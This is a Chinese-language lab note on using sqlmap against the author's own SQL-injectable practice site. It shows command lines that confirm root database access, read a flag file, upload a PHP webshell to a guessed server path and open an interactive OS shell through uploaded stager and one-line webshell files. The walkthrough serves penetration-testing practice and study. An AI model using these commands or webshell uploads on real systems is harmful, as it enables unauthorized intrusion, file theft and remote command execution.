0x00 SQLMAP
这个SQLMAP
还是有点东西的,虽然在很多时候没有自己写的小东西好使,但是有些功能确实做的不错,好多东西还没精力去研究,看到了就记一笔。
0x01 检查当前用户
用自己的靶场做的测试。
python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id
确实存在注入,查看用户。
python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id --current-user
可以看到是root
权限,也可以用--privileges
查看权限。
那接下来先来读取文件。
0x02 读取文件
我的C
盘下有个文件C:/flag.txt
,可以使用--file-read
来进行读取。
python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id -v 3 --file-read="c:/flag.txt"
使用-v 3
打开payload
信息。
可以看到用的是load_file()
函数,如果secure_file_priv
设置正确,即使有用户权限也是无法读取成功的。
运行结束后,查看此文件就可以看到c:/flag.txt
的信息了。
0x03 写入文件
写入文件,是将本地的文件,上传到服务器上,一般上传webshell
比较好用,同时也得知道服务器的物理路径才行,服务器物理路径可以通过敏感文件如phpinfo,前端代码审计,页面报错,数据库报错等信息找到。
这里需要用到两个参数--file-write
和--file-dest
,前者指定本地文件,后者指定服务器物理路径。
不小心爆出错误了hhh
python sqlmap.py -u "http://www.baynk.com/bvwa/vul/sqli/sqli-union-get-num.php?id=1" --os=windows --dbms=mysql --tech=u -p id -v 3 --file-write="y:/shell/test.php" --file-dest="D:\Programs\PHPStudy\WWW\bvwa\test100.php"
这里看到,用的是into dumpfile
,我还以为是into outfile
呢,写入以后直接去访问文件就好了。
OK
,成功执行。
0x04 命令执行
这里可以使用--os-commad
或者--os-shell
,前者单一命令,后者是交互式shell
。用法是一样的,这是用--os-shell
举例。
这里sqlmap
不是直接执行命令的,是通过上传webshell
的方式来进行完成,先上传小马,再上传一句话。
这里选php
语言,然后就获取到了物理路径的信息。。。
这里是真的有点神奇。。。没看出来怎么获取到的。接着自动上传文件
然后自动测试木马
访问成功后,就有shell
了,注意,如果这里探测到的目录没有权限,则需要手动自己输入物理路径。
命令可以正常执行。按q
或者x
都可以退出,退出之前去看下上传的马好了。
应该是xpe
和swr
结尾的阿。。还出两个来了,一个一个看。先看小马tmpuaxpe.php
再看一句话tmpbaswr.php
提示没变量,传cmd
就行了。
效果和之前是一样的,然后又去看下另外两个,也是一个小马和一句话,可能是之前用的没注意吧。。
按q
退出。
删除了我刚刚创建的两个,,看来这两个真的是多余的,留下来好了-。-
这里除了用os-shell
还可以用其它的--os
参数,不过需要第三方组件的支持,比如超好用的meterpreter
。。。有需要再测试吧。